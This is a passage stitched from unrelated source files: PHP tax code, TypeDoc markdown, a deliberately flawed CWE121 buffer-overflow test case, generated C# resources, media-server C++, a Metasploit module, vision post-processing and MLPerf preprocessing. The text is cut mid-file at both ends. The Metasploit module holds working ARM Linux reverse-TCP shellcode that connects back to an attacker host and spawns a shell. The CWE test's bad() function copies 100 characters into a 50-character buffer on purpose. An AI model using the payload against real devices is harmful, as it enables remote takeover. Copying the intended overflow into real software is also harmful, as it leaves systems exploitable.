$row->net_unit_price)) - $row->item_discount;\n } else {\n $tax_summary[$row->tax_code]['items'] = $row->unit_quantity;\n $tax_summary[$row->tax_code]['tax'] = $row->item_tax;\n $tax_summary[$row->tax_code]['amt'] = ($row->unit_quantity * ($onCost ? $row->net_unit_cost : $row->net_unit_price)) - $row->item_discount;\n $tax_summary[$row->tax_code]['name'] = $row->tax_name;\n $tax_summary[$row->tax_code]['code'] = $row->tax_code;\n $tax_summary[$row->tax_code]['rate'] = $row->tax_rate;\n }\n }\n }\n return $tax_summary;\n }\n\n function genHTML($tax_summary = [], $product_tax = 0) {\n $html = '';\n if (!empty($tax_summary)) {\n $html .= '

' . lang('tax_summary') . '

';\n $html .= '';\n foreach ($tax_summary as $summary) {\n $html .= '';\n }\n $html .= '';\n $html .= '';\n $html .= '
' . lang('name') . '' . lang('code') . '' . lang('qty') . '' . lang('tax_excl') . '' . lang('tax_amt') . '
' . $summary['name'] . '' . $summary['code'] . '' . $this->sma->formatQuantity($summary['items']) . '' . $this->sma->formatMoney($summary['amt']) . '' . $this->sma->formatMoney($summary['tax']) . '
' . lang('total_tax_amount') . '' . $this->sma->formatMoney($product_tax) . '
';\n }\n return $html;\n }\n\n function calculteIndianGST($item_tax, $state, $tax_details) {\n if ($this->Settings->indian_gst) {\n $cgst = $sgst = $igst = 0;\n if ($state) {\n $gst = $tax_details->type == 1 ? $this->sma->formatDecimal(($tax_details->rate/2), 0).'%' : $this->sma->formatDecimal(($tax_details->rate/2), 0);\n $cgst = $this->sma->formatDecimal(($item_tax / 2), 4);\n $sgst = $this->sma->formatDecimal(($item_tax / 2), 4);\n } else {\n $gst = $tax_details->type == 1 ? $this->sma->formatDecimal(($tax_details->rate), 0).'%' : $this->sma->formatDecimal(($tax_details->rate), 0);\n $igst = $item_tax;\n }\n return ['gst' => $gst, 'cgst' => $cgst, 'sgst' => $sgst, 'igst' => $igst];\n }\n return [];\n }\n\n function getIndianStates($blank = false) {\n $istates = [\n 'AN' => 'Andaman & Nicobar',\n 'AP' => 'Andhra Pradesh',\n 'AR' => 'Arunachal Pradesh',\n 'AS' => 'Assam',\n 'BR' => 'Bihar',\n 'CH' => 'Chandigarh',\n 'CT' => 'Chhattisgarh',\n 'DN' => 'Dadra and Nagar Haveli',\n 'DD' => 'Daman & Diu',\n 'DL' => 'Delhi',\n 'GA' => 'Goa',\n 'GJ' => 'Gujarat',\n 'HR' => 'Haryana',\n 'HP' => 'Himachal Pradesh',\n 'JK' => 'Jammu & Kashmir',\n 'JH' => 'Jharkhand',\n 'KA' => 'Karnataka',\n 'KL' => 'Kerala',\n 'LD' => 'Lakshadweep',\n 'MP' => 'Madhya Pradesh',\n 'MH' => 'Maharashtra',\n 'MN' => 'Manipur',\n 'ML' => 'Meghalaya',\n 'MZ' => 'Mizoram',\n 'NL' => 'Nagaland',\n 'OR' => 'Odisha',\n 'PY' => 'Puducherry',\n 'PB' => 'Punjab',\n 'RJ' => 'Rajasthan',\n 'SK' => 'Sikkim',\n 'TN' => 'Tamil Nadu',\n 'TR' => 'Tripura',\n 'UK' => 'Uttarakhand',\n 'UP' => 'Uttar Pradesh',\n 'WB' => 'West Bengal',\n ];\n if ($blank) {\n array_unshift($istates, lang('select'));\n }\n return $istates;\n }\n\n\n\n}\n", "[stime](../README.md) \u203a [Globals](../globals.md) \u203a [\"Format/Minute\"](../modules/_format_minute_.md) \u203a [Minute](_format_minute_.minute.md)\n\n# Class: Minute\n\nMinute format\n\n## Hierarchy\n\n* [Format](_format_.format.md)\n\n \u21b3 **Minute**\n\n## Index\n\n### Methods\n\n* [format](_format_minute_.minute.md#format)\n* [formatNumber](_format_minute_.minute.md#protected-formatnumber)\n* [parse](_format_minute_.minute.md#parse)\n* [parsePaddedAndUnpaddedUnits](_format_minute_.minute.md#protected-parsepaddedandunpaddedunits)\n\n## Methods\n\n### format\n\n\u25b8 **format**(`time`: [Formattable](_formattable_.formattable.md), `format`: string): *string*\n\n*Overrides [Format](_format_.format.md).[format](_format_.format.md#abstract-format)*\n\n*Defined in [Format/Minute.ts:11](https://github.com/TerenceJefferies/STime/blob/b69ea6e/src/Format/Minute.ts#L11)*\n\n**`inheritdoc`** \n\n**Parameters:**\n\nName | Type |\n------ | ------ |\n`time` | [Formattable](_formattable_.formattable.md) |\n`format` | string |\n\n**Returns:** *string*\n\n___\n\n### `Protected` formatNumber\n\n\u25b8 **formatNumber**(`number`: number, `leadingZero`: boolean): *string*\n\n*Inherited from [Year](_format_year_.year.md).[formatNumber](_format_year_.year.md#protected-formatnumber)*\n\n*Defined in [Format.ts:27](https://github.com/TerenceJefferies/STime/blob/b69ea6e/src/Format.ts#L27)*\n\nFormat a number to a string and have it include or exclude\nleading zeros\n\n**Parameters:**\n\nName | Type | Description |\n------ | ------ | ------ |\n`number` | number | Number to format |\n`leadingZero` | boolean | True if leading zeros should be included false otherwise |\n\n**Returns:** *string*\n\nFormatted number\n\n___\n\n### parse\n\n\u25b8 **parse**(`parsable`: string, `format`: string): *number*\n\n*Defined in [Format/Minute.ts:26](https://github.com/TerenceJefferies/STime/blob/b69ea6e/src/Format/Minute.ts#L26)*\n\n**`inheritdoc`** \n\n**Parameters:**\n\nName | Type |\n------ | ------ |\n`parsable` | string |\n`format` | string |\n\n**Returns:** *number*\n\n___\n\n### `Protected` parsePaddedAndUnpaddedUnits\n\n\u25b8 **parsePaddedAndUnpaddedUnits**(`parsable`: string, `format`: string, `token`: string): *number*\n\n*Inherited from [Year](_format_year_.year.md).[parsePaddedAndUnpaddedUnits](_format_year_.year.md#protected-parsepaddedandunpaddedunits)*\n\n*Defined in [Format.ts:43](https://github.com/TerenceJefferies/STime/blob/b69ea6e/src/Format.ts#L43)*\n\n**Parameters:**\n\nName | Type | Description |\n------ | ------ | ------ |\n`parsable` | string | - |\n`format` | string | - |\n`token` | string | |\n\n**Returns:** *number*\n", "/* TEMPLATE GENERATED TESTCASE FILE\r\nFilename: CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_loop_33.cpp\r\nLabel Definition File: CWE121_Stack_Based_Buffer_Overflow__CWE805.string.label.xml\r\nTemplate File: sources-sink-33.tmpl.cpp\r\n*/\r\n/*\r\n * @description\r\n * CWE: 121 Stack Based Buffer Overflow\r\n * BadSource: Set data pointer to the bad buffer\r\n * GoodSource: Set data pointer to the good buffer\r\n * Sinks: loop\r\n * BadSink : Copy string to data using a loop\r\n * Flow Variant: 33 Data flow: use of a C++ reference to data within the same function\r\n *\r\n * */\r\n\r\n#include \"std_testcase.h\"\r\n\r\n#include \r\n\r\nnamespace CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_loop_33\r\n{\r\n\r\n#ifndef OMITBAD\r\n\r\nvoid bad()\r\n{\r\n wchar_t * data;\r\n wchar_t * &dataRef = data;\r\n wchar_t * dataBadBuffer = (wchar_t *)ALLOCA(50*sizeof(wchar_t));\r\n wchar_t * dataGoodBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t));\r\n /* FLAW: Set a pointer to a \"small\" buffer. This buffer will be used in the sinks as a destination\r\n * buffer in various memory copying functions using a \"large\" source buffer. */\r\n data = dataBadBuffer;\r\n data[0] = L'\\0'; /* null terminate */\r\n {\r\n wchar_t * data = dataRef;\r\n {\r\n size_t i;\r\n wchar_t source[100];\r\n wmemset(source, L'C', 100-1); /* fill with L'C's */\r\n source[100-1] = L'\\0'; /* null terminate */\r\n /* POTENTIAL FLAW: Possible buffer overflow if the size of data is less than the length of source */\r\n for (i = 0; i < 100; i++)\r\n {\r\n data[i] = source[i];\r\n }\r\n data[100-1] = L'\\0'; /* Ensure the destination buffer is null terminated */\r\n printWLine(data);\r\n }\r\n }\r\n}\r\n\r\n#endif /* OMITBAD */\r\n\r\n#ifndef OMITGOOD\r\n\r\n/* goodG2B() uses the GoodSource with the BadSink */\r\nstatic void goodG2B()\r\n{\r\n wchar_t * data;\r\n wchar_t * &dataRef = data;\r\n wchar_t * dataBadBuffer = (wchar_t *)ALLOCA(50*sizeof(wchar_t));\r\n wchar_t * dataGoodBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t));\r\n /* FIX: Set a pointer to a \"large\" buffer, thus avoiding buffer overflows in the sinks. */\r\n data = dataGoodBuffer;\r\n data[0] = L'\\0'; /* null terminate */\r\n {\r\n wchar_t * data = dataRef;\r\n {\r\n size_t i;\r\n wchar_t source[100];\r\n wmemset(source, L'C', 100-1); /* fill with L'C's */\r\n source[100-1] = L'\\0'; /* null terminate */\r\n /* POTENTIAL FLAW: Possible buffer overflow if the size of data is less than the length of source */\r\n for (i = 0; i < 100; i++)\r\n {\r\n data[i] = source[i];\r\n }\r\n data[100-1] = L'\\0'; /* Ensure the destination buffer is null terminated */\r\n printWLine(data);\r\n }\r\n }\r\n}\r\n\r\nvoid good()\r\n{\r\n goodG2B();\r\n}\r\n\r\n#endif /* OMITGOOD */\r\n\r\n} /* close namespace */\r\n\r\n/* Below is the main(). It is only used when building this testcase on\r\n * its own for testing or for building a binary to use in testing binary\r\n * analysis tools. It is not used when compiling all the testcases as one\r\n * application, which is how source code analysis tools are tested.\r\n */\r\n#ifdef INCLUDEMAIN\r\n\r\nusing namespace CWE121_Stack_Based_Buffer_Overflow__CWE805_wchar_t_alloca_loop_33; /* so that we can use good and bad easily */\r\n\r\nint main(int argc, char * argv[])\r\n{\r\n /* seed randomness */\r\n srand( (unsigned)time(NULL) );\r\n#ifndef OMITGOOD\r\n printLine(\"Calling good()...\");\r\n good();\r\n printLine(\"Finished good()\");\r\n#endif /* OMITGOOD */\r\n#ifndef OMITBAD\r\n printLine(\"Calling bad()...\");\r\n bad();\r\n printLine(\"Finished bad()\");\r\n#endif /* OMITBAD */\r\n return 0;\r\n}\r\n\r\n#endif\r\n", "\ufeff//------------------------------------------------------------------------------\n// \n// This code was generated by a tool.\n// Runtime Version:4.0.30319.34011\n//\n// Changes to this file may cause incorrect behavior and will be lost if\n// the code is regenerated.\n// \n//------------------------------------------------------------------------------\n\nnamespace SerialLabs.Data.AzureTable.Properties\n{\n\n\n /// \n /// A strongly-typed resource class, for looking up localized strings, etc.\n /// \n // This class was auto-generated by the StronglyTypedResourceBuilder\n // class via a tool like ResGen or Visual Studio.\n // To add or remove a member, edit your .ResX file then rerun ResGen\n // with the /str option, or rebuild your VS project.\n [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\n [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\n [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n internal class Resources {\n \n private static global::System.Resources.ResourceManager resourceMan;\n \n private static global::System.Globalization.CultureInfo resourceCulture;\n \n [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n internal Resources() {\n }\n \n /// \n /// Returns the cached ResourceManager instance used by this class.\n /// \n [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n internal static global::System.Resources.ResourceManager ResourceManager {\n get {\n if (object.ReferenceEquals(resourceMan, null)) {\n global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"SerialLabs.Data.AzureTable.Properties.Resources\", typeof(Resources).Assembly);\n resourceMan = temp;\n }\n return resourceMan;\n }\n }\n \n /// \n /// Overrides the current thread's CurrentUICulture property for all\n /// resource lookups using this strongly typed resource class.\n /// \n [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n internal static global::System.Globalization.CultureInfo Culture {\n get {\n return resourceCulture;\n }\n set {\n resourceCulture = value;\n }\n }\n \n /// \n /// Looks up a localized string similar to Unable to cast type '{0}' to target type '{1}'..\n /// \n internal static string ExpressionEvaluatorInvalidCast {\n get {\n return ResourceManager.GetString(\"ExpressionEvaluatorInvalidCast\", resourceCulture);\n }\n }\n \n /// \n /// Looks up a localized string similar to Type '{0}' is not supported..\n /// \n internal static string ExpressionEvaluatorTypeNotSupported {\n get {\n return ResourceManager.GetString(\"ExpressionEvaluatorTypeNotSupported\", resourceCulture);\n }\n }\n \n /// \n /// Looks up a localized string similar to Unable to get value of the node: '{0}'..\n /// \n internal static string ExpressionEvaluatorUnableToEvaluate {\n get {\n return ResourceManager.GetString(\"ExpressionEvaluatorUnableToEvaluate\", resourceCulture);\n }\n }\n \n /// \n /// Looks up a localized string similar to Unable to serialize type: '{0}'..\n /// \n internal static string SerializationExtensionsNotSupportedType {\n get {\n return ResourceManager.GetString(\"SerializationExtensionsNotSupportedType\", resourceCulture);\n }\n }\n \n /// \n /// Looks up a localized string similar to Member '{0}' does not supported..\n /// \n internal static string TranslatorMemberNotSupported {\n get {\n return ResourceManager.GetString(\"TranslatorMemberNotSupported\", resourceCulture);\n }\n }\n \n /// \n /// Looks up a localized string similar to Invalid method '{0}' arguments..\n /// \n internal static string TranslatorMethodInvalidArgument {\n get {\n return ResourceManager.GetString(\"TranslatorMethodInvalidArgument\", resourceCulture);\n }\n }\n \n /// \n /// Looks up a localized string similar to Method '{0}' does not supported..\n /// \n internal static string TranslatorMethodNotSupported {\n get {\n return ResourceManager.GetString(\"TranslatorMethodNotSupported\", resourceCulture);\n }\n }\n \n /// \n /// Looks up a localized string similar to Operator '{0}' does not supported..\n /// \n internal static string TranslatorOperatorNotSupported {\n get {\n return ResourceManager.GetString(\"TranslatorOperatorNotSupported\", resourceCulture);\n }\n }\n \n /// \n /// Looks up a localized string similar to Unable to evaluate an expression: '{0}'..\n /// \n internal static string TranslatorUnableToEvaluateExpression {\n get {\n return ResourceManager.GetString(\"TranslatorUnableToEvaluateExpression\", resourceCulture);\n }\n }\n }\n}\n", "/**\n @file appmodule.cpp\n @brief This file is part of Kalinka mediaserver.\n @author Ivan Murashko \n\n Copyright (c) 2007-2012 Kalinka Team\n\n Permission is hereby granted, free of charge, to any person obtaining\n a copy of this software and associated documentation files (the\n \"Software\"), to deal in the Software without restriction, including\n without limitation the rights to use, copy, modify, merge, publish,\n distribute, sublicense, and/or sell copies of the Software, and to\n permit persons to whom the Software is furnished to do so, subject to\n the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n CHANGE HISTORY\n\n @date\n - 2009/04/02 created by ipp (Ivan Murashko)\n - 2009/08/02 header was changed by header.py script\n - 2010/01/06 header was changed by header.py script\n - 2011/01/01 header was changed by header.py script\n - 2012/02/03 header was changed by header.py script\n*/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"appmodule.h\"\n#include \"exception.h\"\n#include \"cliapp.h\"\n#include \"db.h\"\n\nusing namespace klk::app;\n\n//\n// Module class\n//\n\n// Constructor\nModule::Module(klk::IFactory* factory,\n const std::string& modid,\n const std::string& setmsgid,\n const std::string& showmsgid) :\n klk::ModuleWithDB(factory, modid), m_appuuid_mutex(), m_appuuid(),\n m_setmsgid(setmsgid),\n m_showmsgid(showmsgid)\n{\n BOOST_ASSERT(m_setmsgid.empty() == false);\n BOOST_ASSERT(m_showmsgid.empty() == false);\n BOOST_ASSERT(m_setmsgid != m_showmsgid);\n}\n\n// Retrives application uuid\nconst std::string Module::getAppUUID()\n{\n using namespace klk;\n Locker lock(&m_appuuid_mutex);\n if (m_appuuid.empty())\n {\n // retrive application id\n // `klk_application_uuid_get` (\n // IN module VARCHAR(40),\n // IN host VARCHAR(40),\n // OUT application VARCHAR(40)\n db::DB db(getFactory());\n db.connect();\n\n db::Parameters params;\n params.add(\"@module\", getID());\n params.add(\"@host\", db.getHostUUID());\n params.add(\"@application\");\n\n db::Result res = db.callSimple(\"klk_application_uuid_get\", params);\n if (res[\"@application\"].isNull())\n {\n throw Exception(__FILE__, __LINE__,\n \"DB error while retriving application uuid\");\n }\n\n m_appuuid = res[\"@application\"].toString();\n }\n return m_appuuid;\n}\n\n// Register all processors\nvoid Module::registerProcessors()\n{\n using namespace klk;\n ModuleWithDB::registerProcessors();\n\n registerCLI(cli::ICommandPtr(new cli::AutostartSet(m_setmsgid)));\n registerCLI(cli::ICommandPtr(new cli::AutostartShow(m_showmsgid)));\n}\n", "##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\nrequire 'msf/core/handler/reverse_tcp'\nrequire 'msf/base/sessions/command_shell'\nrequire 'msf/base/sessions/command_shell_options'\n\nmodule Metasploit3\n\n include Msf::Payload::Single\n include Msf::Payload::Linux\n include Msf::Sessions::CommandShellOptions\n\n def initialize(info = {})\n super(merge_info(info,\n 'Name' => 'Linux Command Shell, Reverse TCP Inline',\n 'Description' => 'Connect back to attacker and spawn a command shell',\n 'Author' => 'civ',\n 'License' => MSF_LICENSE,\n 'Platform' => 'linux',\n 'Arch' => ARCH_ARMLE,\n 'Handler' => Msf::Handler::ReverseTcp,\n 'Session' => Msf::Sessions::CommandShellUnix,\n 'Payload' =>\n {\n 'Offsets' =>\n {\n 'LHOST' => [ 172, 'ADDR' ],\n 'LPORT' => [ 170, 'n' ],\n },\n 'Payload' =>\n [\n #### Tested successfully on:\n # Linux 2.6.29.6-cm42 armv6l\n # Linux 2.6.29.6-cyanogenmod armv6l\n # Linux version 2.6.25-00350-g40fff9a armv5l\n # Linux version 2.6.27-00110-g132305e armv5l\n # Linux version 2.6.29-00177-g24ee4d2 armv5l\n # Linux version 2.6.29-00255-g7ca5167 armv5l\n #\n # Probably requires process to have INTERNET permission\n # or root.\n ####\n # socket(2,1,6)\n 0xe3a00002, # mov r0, #2 ; 0x2\n 0xe3a01001, # mov r1, #1 ; 0x1\n 0xe2812005, # add r2, r1, #5 ; 0x5\n 0xe3a0708c, # mov r7, #140 ; 0x8c\n 0xe287708d, # add r7, r7, #141 ; 0x8d\n 0xef000000, # svc 0x00000000\n\n # connect(soc, socaddr, 0x10)\n 0xe1a06000, # mov r6, r0\n 0xe28f1084, # 1dr r1, pc, #132 ; 0x84\n 0xe3a02010, # mov r2, #16 ; 0x10\n 0xe3a0708d, # mov r7, #141 ; 0x8d\n 0xe287708e, # add r7, r7, #142 ; 0x8e\n 0xef000000, # svc 0x00000000\n\n # dup2(soc,0) @stdin\n 0xe1a00006, # mov r0, r6\n 0xe3a01000, # mov r1, #0 ; 0x0\n 0xe3a0703f, # mov r7, #63 ; 0x3f\n 0xef000000, # svc 0x00000000\n\n # dup2(soc,1) @stdout\n 0xe1a00006, # mov r0, r6\n 0xe3a01001, # mov r1, #1 ; 0x1\n 0xe3a0703f, # mov r7, #63 ; 0x3f\n 0xef000000, # svc 0x00000000\n\n # dup2(soc,2) @stderr\n 0xe1a00006, # mov r0, r6\n 0xe3a01002, # mov r1, #2 ; 0x2\n 0xe3a0703f, # mov r7, #63 ; 0x3f\n 0xef000000, # svc 0x00000000\n\n # execve(\"/system/bin/sh\", args, env)\n # Shrink me here. I am lame.\n 0xe28f0048, # add r0, pc, #72 ; 0x48\n 0xe0244004, # eor r4, r4, r4\n 0xe92d0010, # push {r4}\n 0xe1a0200d, # mov r2, sp\n 0xe92d0004, # push {r2}\n 0xe1a0200d, # mov r2, sp\n 0xe92d0010, # push {r4}\n 0xe59f1048, # ldr r1, [pc, #72] ; 8124 \n 0xe92d0002, # push {r1}\n 0xe92d2000, # push {sp}\n 0xe1a0100d, # mov r1, sp\n 0xe92d0004, # push {r2}\n 0xe1a0200d, # mov r2, sp\n 0xe3a0700b, # mov r7, #11 ; 0xb\n 0xef000000, # svc 0x00000000\n\n # exit(0)\n 0xe3a00000, # mov r0, #0 ; 0x0\n 0xe3a07001, # mov r7, #1 ; 0x1\n 0xef000000, # svc 0x00000000\n\n # :\n # port offset = 170, ip offset = 172\n 0x04290002, # .word 0x5c110002 @ port: 4444 , sin_fam = 2\n 0x0101a8c0, # .word 0x0101a8c0 @ ip: 192.168.1.1\n # :\n 0x00000000, # .word 0x00000000 ; the shell goes here!\n 0x00000000, # .word 0x00000000\n 0x00000000, # .word 0x00000000\n 0x00000000, # .word 0x00000000\n # :\n 0x00000000 # .word 0x00000000 ; the args!\n\n ].pack(\"V*\")\n }\n ))\n\n # Register command execution options\n register_options(\n [\n OptString.new('SHELL', [ true, \"The shell to execute.\", \"/system/bin/sh\" ]),\n OptString.new('SHELLARG', [ false, \"The argument to pass to the shell.\", \"-C\" ])\n ], self.class)\n end\n\n def generate\n p = super\n\n sh = datastore['SHELL']\n if sh.length >= 16\n raise ArgumentError, \"The specified shell must be less than 16 bytes.\"\n end\n p[176, sh.length] = sh\n\n arg = datastore['SHELLARG']\n if arg\n if arg.length >= 4\n raise ArgumentError, \"The specified shell argument must be less than 4 bytes.\"\n end\n p[192, arg.length] = arg\n end\n\n p\n end\n\nend\n", "/**\n * Copyright (c) 2019 Horizon Robotics. All rights reserved.\n * @File: LmkPosePostPredictor.cpp\n * @Brief: definition of the LmkPosePostPredictor\n * @Author: zhengzheng.ge\n * @Email: zhengzheng.ge@horizon.ai\n * @Date: 2019-07-17 14:27:05\n * @Last Modified by: zhengzheng.ge\n * @Last Modified time: 2019-07-17 15:18:10\n */\n\n#include \"CNNMethod/PostPredictor/LmkPosePostPredictor.h\"\n#include \n#include \"CNNMethod/CNNConst.h\"\n#include \"CNNMethod/util/util.h\"\n#include \"hobotlog/hobotlog.hpp\"\n#include \"hobotxstream/profiler.h\"\n\nnamespace xstream {\n\nvoid LmkPosePostPredictor::Do(CNNMethodRunData *run_data) {\n int batch_size = run_data->input_dim_size.size();\n run_data->output.resize(batch_size);\n for (int batch_idx = 0; batch_idx < batch_size; batch_idx++) {\n int dim_size = run_data->input_dim_size[batch_idx];\n auto &mxnet_output = run_data->mxnet_output[batch_idx];\n std::vector &batch_output = run_data->output[batch_idx];\n batch_output.resize(output_slot_size_);\n for (int i = 0; i < output_slot_size_; i++) {\n auto base_data_vector = std::make_shared();\n batch_output[i] = std::static_pointer_cast(base_data_vector);\n }\n {\n RUN_PROCESS_TIME_PROFILER(model_name_ + \"_post\");\n RUN_FPS_PROFILER(model_name_ + \"_post\");\n auto boxes = std::static_pointer_cast(\n (*(run_data->input))[batch_idx][0]);\n\n for (int dim_idx = 0; dim_idx < dim_size; dim_idx++) {\n std::vector output;\n auto xstream_box = std::static_pointer_cast>(boxes->datas_[dim_idx]);\n HandleLmkPose(mxnet_output[dim_idx], xstream_box->value,\n run_data->real_nhwc, &output);\n\n for (int i = 0; i < output_slot_size_; i++) {\n auto base_data_vector =\n std::static_pointer_cast(batch_output[i]);\n base_data_vector->datas_.push_back(output[i]);\n }\n }\n }\n }\n}\n\nvoid LmkPosePostPredictor::HandleLmkPose(\n const std::vector> &mxnet_outs,\n const hobot::vision::BBox &box,\n const std::vector> &nhwc,\n std::vector *output) {\n if (mxnet_outs.size()) {\n auto lmk = LmkPostPro(mxnet_outs, box, nhwc);\n output->push_back(lmk);\n if (mxnet_outs.size() > 3) {\n auto pose = PosePostPro(mxnet_outs[3]);\n output->push_back(pose);\n } else {\n auto pose = std::make_shared>();\n pose->state_ = DataState::INVALID;\n output->push_back(std::static_pointer_cast(pose));\n }\n } else {\n auto landmarks = std::make_shared>();\n landmarks->state_ = DataState::INVALID;\n output->push_back(std::static_pointer_cast(landmarks));\n auto pose = std::make_shared>();\n pose->state_ = DataState::INVALID;\n output->push_back(std::static_pointer_cast(pose));\n }\n}\n\nBaseDataPtr LmkPosePostPredictor::LmkPostPro(\n const std::vector> &mxnet_outs,\n const hobot::vision::BBox &box,\n const std::vector> &nhwc) {\n static const float SCORE_THRESH = 0.0;\n static const float REGRESSION_RADIUS = 3.0;\n static const float STRIDE = 4.0;\n static const float num = 1;\n static const float height_m = 16;\n static const float width_m = 16;\n\n auto fl_scores = reinterpret_cast(mxnet_outs[0].data());\n auto fl_coords = reinterpret_cast(mxnet_outs[1].data());\n std::vector> points_score;\n std::vector> points_x;\n std::vector> points_y;\n points_score.resize(5);\n points_x.resize(5);\n points_y.resize(5);\n\n // nhwc, 1x16x16x5, 1x16x16x10\n for (int n = 0; n < num; ++n) { // n\n for (int i = 0; i < height_m; ++i) { // h\n for (int j = 0; j < width_m; ++j) { // w\n int index_score = n * nhwc[0][1] * nhwc[0][2] * nhwc[0][3] +\n i * nhwc[0][2] * nhwc[0][3] + j * nhwc[0][3];\n int index_coords = n * nhwc[1][1] * nhwc[1][2] * nhwc[0][3] +\n i * nhwc[1][2] * nhwc[1][3] + j * nhwc[1][3];\n for (int k = 0; k < 5; ++k) { // c\n auto score = fl_scores[index_score + k];\n if (score > SCORE_THRESH) {\n points_score[k].push_back(score);\n float x = (j + 0.5 -\n fl_coords[index_coords + 2 * k] * REGRESSION_RADIUS) *\n STRIDE;\n float y =\n (i + 0.5 -\n fl_coords[index_coords + 2 * k + 1] * REGRESSION_RADIUS) *\n STRIDE;\n x = std::min(std::max(x, 0.0f), width_m * STRIDE);\n y = std::min(std::max(y, 0.0f), height_m * STRIDE);\n points_x[k].push_back(x);\n points_y[k].push_back(y);\n }\n }\n }\n }\n }\n auto landmarks = std::make_shared>();\n landmarks->value.values.resize(5);\n for (int i = 0; i < 5; ++i) {\n auto &poi = landmarks->value.values[i];\n poi.x = Mean(points_x[i]);\n poi.y = Mean(points_y[i]);\n poi.x = box.x1 + poi.x / 64 * (box.x2 - box.x1);\n poi.y = box.y1 + poi.y / 64 * (box.y2 - box.y1);\n poi.score = static_cast(points_score[i].size());\n if (poi.score <= 0.000001 && mxnet_outs.size() > 2) {\n auto reg_coords = reinterpret_cast(mxnet_outs[2].data());\n poi.x = box.x1 + reg_coords[i << 1] * (box.x2 - box.x1);\n poi.y = box.y1 + reg_coords[(i << 1) + 1] * (box.y2 - box.y1);\n }\n }\n return std::static_pointer_cast(landmarks);\n}\n\nBaseDataPtr LmkPosePostPredictor::PosePostPro(\n const std::vector &mxnet_outs) {\n auto pose = std::make_shared>();\n auto mxnet_out = reinterpret_cast(mxnet_outs.data());\n pose->value.yaw = mxnet_out[0] * 90.0;\n pose->value.pitch = mxnet_out[1] * 90.0;\n pose->value.roll = mxnet_out[2] * 90.0;\n return std::static_pointer_cast(pose);\n}\n} // namespace xstream\n", "# coding=utf-8\n# Copyright (c) 2020 NVIDIA CORPORATION. All rights reserved.\n# Copyright 2020 Division of Medical Image Computing, German Cancer Research Center (DKFZ), Heidelberg, Germany\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# This file has been copied from \n# https://github.com/mlcommons/inference/blob/r0.7/vision/medical_imaging/3d-unet/preprocess.py\n\nimport argparse\nimport numpy\nimport os\nimport pickle\nimport sys\nimport torch\n\nfrom batchgenerators.augmentations.utils import pad_nd_image\nfrom batchgenerators.utilities.file_and_folder_operations import subfiles\nfrom nnunet.training.model_restore import load_model_and_checkpoint_files\nfrom nnunet.inference.predict import preprocess_multithreaded\n\ndef preprocess_MLPerf(model, checkpoint_name, folds, fp16, list_of_lists, output_filenames, preprocessing_folder, num_threads_preprocessing):\n assert len(list_of_lists) == len(output_filenames)\n print(\"loading parameters for folds\", folds)\n trainer, params = load_model_and_checkpoint_files(model, folds, fp16, checkpoint_name=checkpoint_name)\n\n print(\"starting preprocessing generator\")\n preprocessing = preprocess_multithreaded(trainer, list_of_lists, output_filenames, num_threads_preprocessing, None)\n print(\"Preprocessing images...\")\n all_output_files = []\n\n for preprocessed in preprocessing:\n output_filename, (d, dct) = preprocessed\n\n all_output_files.append(output_filename)\n if isinstance(d, str):\n data = np.load(d)\n os.remove(d)\n d = data\n\n # Pad to the desired full volume\n d = pad_nd_image(d, trainer.patch_size, \"constant\", None, False, None)\n\n with open(os.path.join(preprocessing_folder, output_filename+ \".pkl\"), \"wb\") as f:\n pickle.dump([d, dct], f)\n f.close()\n\n return all_output_files\n\n\ndef preprocess_setup(preprocessed_data_dir):\n print(\"Preparing for preprocessing data...\")\n\n # Validation set is fold 1\n fold = 1\n validation_fold_file = '../models/image_segmentation/tensorflow/3d_unet_mlperf/inference/nnUNet/folds/fold1_validation.txt'\n\n # Make sure the model exists\n model_dir = 'build/result/nnUNet/3d_fullres/Task043_BraTS2019/nnUNetTrainerV2__nnUNetPlansv2.mlperf.1'\n model_path = os.path.join(model_dir, \"plans.pkl\")\n assert os.path.isfile(model_path), \"Cannot find the model file {:}!\".format(model_path)\n checkpoint_name = \"model_final_checkpoint\"\n\n # Other settings\n fp16 = False\n num_threads_preprocessing = 12\n raw_data_dir = 'build/raw_data/nnUNet_raw_data/Task043_BraTS2019/imagesTr'\n\n # Open list containing validation images from specific fold (e.g. 1)\n validation_files = []\n with open(validation_fold_file) as f:\n for line in f:\n validation_files.append(line.rstrip())\n\n # Create output and preprocessed directory\n if not 